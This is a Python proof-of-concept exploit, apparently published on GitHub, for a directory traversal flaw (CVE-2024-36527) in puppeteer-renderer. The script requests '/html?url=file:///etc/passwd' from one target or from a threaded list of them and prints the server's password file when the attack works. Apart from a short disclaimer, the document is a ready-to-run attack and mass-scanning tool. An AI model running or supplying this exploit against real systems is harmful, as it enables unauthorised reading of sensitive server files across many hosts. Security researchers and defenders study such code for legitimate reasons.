README.md
Rendering markdown...
"""
POC for CVE-2024-36527: puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.
Exploit Author: Zac Wang
Advisory: https://gist.github.com/7a6163/25fef08f75eed219c8ca21e332d6e911
POC Author: https://x.com/MohamedNab1l
GitHub: https://github.com/bigb0x/CVE-2024-36527
Usage:
single scan: cve-2024-36527.py -u hostname
bulk scan cve-2024-36527.py -f file.txt
Disclaimer:
This provided tool is for educational purposes only. I do not encourage, condone, or support unauthorized access to any system or network. Use this tool responsibly and only on systems you have explicit permission to test. Any actions and consequences resulting from misuse of this tool are your own responsibility.
Version: 1.0.0
"""
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
from datetime import datetime
import urllib3
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
the_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
the_version = "1.0.0"
# ANSI color codes
light_gray_color = '\033[37;1m'
dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'
def banner():
print(f"""
{light_gray_color}
█▀▀ █░█ █▀▀ ▄▄ ▀█ █▀█ ▀█ █░█ ▄▄ █▄▄ █▀ ▀█ ▀▀█
█▄▄ ▀▄▀ ██▄ ░░ █▄ █▄█ █▄ ▀▀█ ░░ █▄█ ▄█ █▄ ░░█
-> POC for CVE-2024-36527: puppeteer-renderer => v.3.2.0.
{reset_color}
""")
# Log directory and file
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')
# Function to create log directory
def create_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
print_message('info', f"Log directory created: {LOG_DIR}")
# Function to log messages
def log_message(message):
with open(LOG_FILE, 'a') as log_file:
log_file.write(f"{the_time} - {message}\n")
# Function to print messages with ANSI colors
def print_message(level, message):
if level == 'vulnerable':
print(f"[{light_gray_color}{the_time}] {light_orange_color}[VLUN] {message}{reset_color}")
if level == 'info':
print(f"[{light_gray_color}{the_time}] {dimmed_gray_color}[INFO] {message}{reset_color}")
elif level == 'success':
print(f"[{light_gray_color}{the_time}] {light_orange_color}[VLUN] {message}{reset_color}")
elif level == 'warning':
print(f"[{light_gray_color}{the_time}] {honey_yellow_color}[INFO] {message}{reset_color}")
elif level == 'error':
print(f"[{light_gray_color}{the_time}] {red_color}[ERROR] {message}{reset_color}")
log_message(message)
# Define the payload
paths_to_check = "/html?url=file:///etc/passwd"
def make_request(url):
try:
response = requests.get(url, verify=False) # Skip SSL verification for simplicity
if response.status_code == 200:
return response.text
else:
return None
except requests.RequestException as e:
return None
# Function to test a single host
def test_host(url):
try:
fullurl = f"{url}{paths_to_check}"
body = make_request(fullurl)
if body is not None and 'root:' in body:
print_message('vulnerable', f"Vulnerable: {url}")
print(body)
else:
print_message('warning', f"Not Vulnerable: {url}")
except requests.RequestException as e:
print_message('error', f"Timeout: {url}")
# Worker function for threading
def worker(queue):
while not queue.empty():
url = queue.get()
print_message('info', f"Testing {url}")
test_host(url)
queue.task_done()
# Main function
def main():
banner()
parser = argparse.ArgumentParser(description='POC for CVE-2024-36527: puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal vulnerability.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Target URL (e.g., http://target)')
group.add_argument('-f', '--file', help='File containing list of targets/IPs (one per line)')
args = parser.parse_args()
create_log_dir()
if args.url:
print_message('info', f"Testing single target: {args.url}")
test_host(args.url)
elif args.file:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
print_message('info', f"Testing multiple targets from file: {args.file}")
url_queue = queue.Queue()
for url in urls:
url_queue.put(url)
threads = []
for _ in range(10):
t = threading.Thread(target=worker, args=(url_queue,))
t.start()
threads.append(t)
for t in threads:
t.join()
print_message('info', "Scanning complete.")
if __name__ == '__main__':
main()